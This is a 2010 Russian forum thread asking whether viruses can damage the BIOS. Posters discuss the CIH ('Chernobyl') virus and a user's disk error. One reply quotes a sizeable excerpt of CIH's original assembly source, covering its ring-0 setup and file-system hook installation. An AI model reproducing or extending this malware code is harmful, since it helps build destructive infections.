Компьютерный форум OSzone.net  

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)
-   Хочу все знать (http://forum.oszone.net/forumdisplay.php?f=23)
-   -   Есть ли вирусы который портят БИОС (http://forum.oszone.net/showthread.php?t=164522)

CrOsP 24-01-2010 16:50 1328607

Есть ли вирусы который портят БИОС
 
Подскажите есть ли такие вирусы ?

skyfish 24-01-2010 17:05 1328619

Более корректный ответ — они были и могут быть.
Нужно отметить, что для такого вируса необходимы администраторские привилегии.

———
Upd: ребят, вы отвечая — ответы выше читаете :) ?

Котяра 24-01-2010 17:25 1328637

CrOsP, такой вирус был - "Чернобыль".
Сейчас такого вроде нет:
1) Из NT-систем (XP, Vista) прямой доступ к оборудованию запрещен (хотя... насколько я знаю, есть прошивальщики BIOS для NT-систем.
2) В современных материнских платах есть система восстановления и материнскую плату можно восстановить, зачастую для этого нужно просто вставить диск из ее комплекта
3) Современные вирусы больше ориентированы на получение конфиденциальной информации или деньги. Сейчас редко вирусы, которые ломают компьютер, кто-то пишет

Вообще-то, я думаю, в теории, можно и написать вирус, сжигающий компьютер.
Ведь есть же утилиты для программного разгона видеокарты...

Просто это никому не нужно.

K.A.V. 24-01-2010 17:41 1328653

Цитата:

Цитата Котяра
1) Из NT-систем (XP, Vista) прямой доступ к оборудованию запрещен (хотя... насколько я знаю, есть прошивальщики BIOS для NT-систем. »

Прошивал свой BIOS с помощью подобной утилитки от производителя материнской платы из под Windows XP :)

CrOsP 24-01-2010 17:44 1328656

У меня на том компе очень много вирусов , я вот и подумал , тот комп доисторический , просто часто вкл камп , а оно пишет DISK FAILURE....

Drongo 24-01-2010 18:14 1328683

Цитата:

Цитата Котяра
такой вирус был - "Чернобыль". »

Я в книге давно читал, что этот вирус портит 1 мегабайт файловой таблицы. Но вот как раз специально прочитал о нём - Virus.Win9x.CIH, умеет перезатирать BIOS. :yes:

Red Caption 25-01-2010 19:31 1329665

Если речь идет о CIH 95 то могу принести маленький пример на асме из оригинального кода :cool:

Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 E-mail : WinCIH.Tatung@usa.net *
; * Modification Time : 06/01/1998 Version : 1.5 *
; * *
; * Turbo Assembler Version 5.0 : Tasm /m cih *
; * Turbo Link Version 5.01 : Tlink /3 /t cih, cih.exe




Код:

pop        ebp
                        push    00401000h      ; Push Original
OriginalAddressOfEntryPoint        =        $-4        ; App Entry Point to Stack
                        ret    ; Return to Original App Entry Point

; *********************************************************
; *            Ring0 Virus Game Initial Program          *
; *********************************************************

MyExceptionHook:
@2                        =        MyExceptionHook
                        jz        InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !?    *
; *************************************

                        mov        ecx, dr0
                        jecxz        AllocateSystemMemoryPage
                        add        dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************
; * Return to Ring3 Initial Program  *
; *************************************

ExitRing0Init:
                        mov        [ebx-04h], bp        ;
                        shr        ebp, 16                ; Restore Exception
                        mov        [ebx+02h], bp        ;
                        iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

                        mov        dr0, ebx        ; Set the Mark of My Virus Exist in System
                        push        00000000fh        ;
                        push        ecx                ;
                        push        0ffffffffh        ;
                        push        ecx                ;
                        push        ecx                ;
                        push        ecx                ;
                        push        000000001h        ;
                        push        000000002h        ;
                        int        20h                ; VMMCALL _PageAllocate
_PageAllocate                =        $                ;
                        dd        00010053h        ; Use EAX, ECX, EDX, and flags
                        add        esp, 08h*04h
                        xchg        edi, eax        ; EDI = SystemMemory Start Address
                        lea        eax, MyVirusStart-@2[esi]
                        iretd        ; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook  *
; *************************************

InstallMyFileSystemApiHook:

                        lea        eax, FileSystemApiHook-@6[edi]

                        push        eax  ;
                        int        20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook =      $
                        dd      00400067h        ; Use EAX, ECX, EDX, and flags
                        mov        dr0, eax        ; Save OldFileSystemApiHook Address
                        pop        eax        ; EAX = FileSystemApiHook Address
                        ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
                        mov        ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
                        mov        edx, [ecx]
                        mov        OldInstallFileSystemApiHook-@3[eax], edx
                        ; Modify IFSMgr_InstallFileSystemApiHook Entry Point
                        lea        eax, InstallFileSystemApiHook-@3[eax]
                        mov        [ecx], eax
                        cli
                        jmp        ExitRing0Init

; *********************************************************
; *            Code Size of Merge Virus Code Section    *
; *********************************************************

CodeSizeOfMergeVirusCodeSection                =        offset $

; *********************************************************
; *            IFSMgr_InstallFileSystemApiHook          *
; *********************************************************

InstallFileSystemApiHook:
                        push        ebx
                        call        @4        ;
@4:                                        ;
                        pop        ebx        ; mov ebx, offset FileSystemApiHook
                        add        ebx, FileSystemApiHook-@4        ;
                        push        ebx
                        int        20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook        =        $
                        dd      00400068h        ; Use EAX, ECX, EDX, and flags
                        pop        eax
                        ; Call Original IFSMgr_InstallFileSystemApiHook
                        ; to Link Client FileSystemApiHook
                        push        dword ptr [esp+8]
                        call        OldInstallFileSystemApiHook-@3[ebx]
                        pop        ecx
                        push        eax
                        ; Call Original IFSMgr_InstallFileSystemApiHook
                        ; to Link My FileSystemApiHook
                        push        ebx
                        call        OldInstallFileSystemApiHook-@3[ebx]
                        pop        ecx
                        mov        dr0, eax        ; Adjust OldFileSystemApiHook Address
                        pop        eax
                        pop        ebx
                        ret


Котяра 25-01-2010 21:59 1329776

Цитата:

Цитата CrOsP
DISK FAILURE »

Я не специалист по "железу", но я думаю, это может быть проблема с жестким диском.

K.A.V. 27-01-2010 09:09 1331083

Цитата:

Цитата CrOsP
DISK FAILURE.... »

Возможно повреждена основная загрузочная запись (MBR) жесткого диска, пишет только это? Это полное сообщение? :)


Время: 20:13.

Время: 20:13.
© OSzone.net 2001-